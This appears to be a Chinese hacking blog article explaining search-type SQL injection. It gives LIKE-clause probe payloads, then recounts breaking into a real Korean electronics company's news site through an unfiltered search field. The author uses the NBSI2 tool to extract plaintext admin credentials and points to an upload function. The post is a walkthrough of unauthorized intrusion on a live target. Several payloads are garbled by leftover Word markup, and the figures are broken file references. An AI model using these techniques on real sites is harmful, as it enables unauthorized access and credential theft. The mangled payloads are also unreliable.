搜索型注入成功搞定跨国电子公司

文/图 勇哥儿

大家都知道,注入方式主要有数字型和字符型,但新手们常常忽略搜索型,因为搜索型在判断是否存在漏洞时要在搜索文本框中输入内容,然后再根据返回的页面内容来判断,比较烦琐。虽然NBSI2带有这种注入方式,但在打开页面的时候参数中一般是不带有搜索的参数的,怎么办呢?我的办法是手工改造它,然后再用NBSI2帮忙。

先给大家讲点前置知识,假如你只打算取出name记录,而且这些记录的名字必须以字母w打头,那么你就要用到下面的WHERE子句了:
SELECT name FROM Admin WHERE name LIKE 'w%'

如果想取出名字中包含字母w的,那么就要用到下面的WHERE 子句:
SELECT name FROM Admin WHERE name LIKE '%w%'

如果想取出名字共三个字符,第一个字母是w,第三个字母是f的记录,那么你就要用到下面的WHERE 子句:
SELECT name FROM Admin WHERE name LIKE 'w_f' (wtf也在其中,嘿)

小知识:百分比符号(%)的含义类似于DOS中的通配符“*”,代表多个字符;下划线符号(_)的含义类似于DOS中的通配符“?”,代表任意一个字符。

大家可能经常看到在搜索时让我们选择是完全匹配还是部分匹配,如果是完全匹配则语句如下:

SELECT name FROM Admin WHERE name LIKE $keyword’

其中变量keyword表示我们在查询框中要输入的内容。如果是部分匹配:

SELECT name FROM Admin WHERE name LIKE %$keyword%’

如果这个变量keyword没有过滤我们就可以构造下面的语句:

1.完全匹配:如果我们输入“wtf’ and ‘<chmetcnv unitname="’" sourcevalue="1" hasspace="False" negative="False" numbertype="1" tcsc="0" w:st="on"></chmetcnv>1’=’<chmetcnv unitname="”" sourcevalue="1" hasspace="True" negative="False" numbertype="1" tcsc="0" w:st="on"></chmetcnv>1 就变成了如下语句:
SELECT name FROM Admin WHERE name LIKE wtf’ and ‘<chmetcnv unitname="’" sourcevalue="1" hasspace="False" negative="False" numbertype="1" tcsc="0" w:st="on"></chmetcnv>1’=’<chmetcnv unitname="’" sourcevalue="1" hasspace="False" negative="False" numbertype="1" tcsc="0" w:st="on"></chmetcnv>1’
如果我们输入“wtf’ and ‘<chmetcnv unitname="’" sourcevalue="1" hasspace="False" negative="False" numbertype="1" tcsc="0" w:st="on"></chmetcnv>1’=’<chmetcnv unitname="”" sourcevalue="2" hasspace="False" negative="False" numbertype="1" tcsc="0" w:st="on"></chmetcnv>2 就变成了如下语句:
SELECT name FROM Admin WHERE name LIKE wtf’ and ‘<chmetcnv unitname="’" sourcevalue="1" hasspace="False" negative="False" numbertype="1" tcsc="0" w:st="on"></chmetcnv>1’=’<chmetcnv unitname="’" sourcevalue="2" hasspace="False" negative="False" numbertype="1" tcsc="0" w:st="on"></chmetcnv>2’

2部分匹配:如果我们输入wtf%’ and 1=1 and ‘%’=’ 就变成了如下语句:
SELECT name FROM Admin WHERE name LIKE %wtf%’ and 1=1 and ‘%’=’%’
如果我们输入wtf%’ and 1=2 and ‘%’=’ 就变成了如下语句:
SELECT name FROM Admin WHERE name LIKE %wtf%’ and 1=2 and ‘%’=’%’
根据返回的页面内容是否相同就可以判断是否存在注入漏洞。

好,基本的东西介绍完了,我们来看看如何利用它!本文的目标是一个著名的韩国跨国电子公司,虽然它的程序是ASP.NET的,但却忽略了查询框的变量过滤,大家对比一下图1与图2就可以看出区别来。

<shapetype id="_x0000_t75" stroked="f" filled="f" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" o:spt="75" coordsize="21600,21600"></shapetype><stroke joinstyle="miter"></stroke><formulas></formulas><f eqn="if lineDrawn pixelLineWidth 0"></f><f eqn="sum @0 1 0"></f><f eqn="sum 0 0 @1"></f><f eqn="prod @2 1 2"></f><f eqn="prod @3 21600 pixelWidth"></f><f eqn="prod @3 21600 pixelHeight"></f><f eqn="sum @0 0 1"></f><f eqn="prod @6 1 2"></f><f eqn="prod @7 21600 pixelWidth"></f><f eqn="sum @8 21600 0"></f><f eqn="prod @7 21600 pixelHeight"></f><f eqn="sum @10 21600 0"></f><lock aspectratio="t" v:ext="edit"></lock><shape id="_x0000_i1025" style="WIDTH: 387.75pt; HEIGHT: 124.5pt" type="#_x0000_t75" o:ole=""></shape><imagedata src="file:///C:%5CDOCUME~1%5CSicent%5CLOCALS~1%5CTemp%5Cmsohtml1%5C03%5Cclip_image001.png" o:title=""></imagedata>


1


<shape id="_x0000_i1026" style="WIDTH: 386.25pt; HEIGHT: 88.5pt" type="#_x0000_t75"></shape><imagedata src="file:///C:%5CDOCUME~1%5CSicent%5CLOCALS~1%5CTemp%5Cmsohtml1%5C03%5Cclip_image003.png" o:title=""></imagedata>
2
如果在查询的文本框中不输入内容的话,查询的参数SC为空,这样利用NBSI2是扫描不出来的。根据图1和图2我们可以看出存在注入漏洞,这样我们构造一下注入地址:

http://notebook.***.com.cn/news/news.aspx?page=1&type=***&ST=title&SC=科技

特征码输入我们在图1中看到的2004,图3NBSI2的注入分析结果。

<shape id="_x0000_i1027" style="WIDTH: 513pt; HEIGHT: 345pt" type="#_x0000_t75" o:ole=""></shape><imagedata src="file:///C:%5CDOCUME~1%5CSicent%5CLOCALS~1%5CTemp%5Cmsohtml1%5C03%5Cclip_image005.png" o:title=""></imagedata>

图3

很快就猜出了后台的用户名和密码,密码是明文的,字母特殊字符都有。进后台一看有上传图片功能……不玩了,后续的东西没有什么好说的了,闪人。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值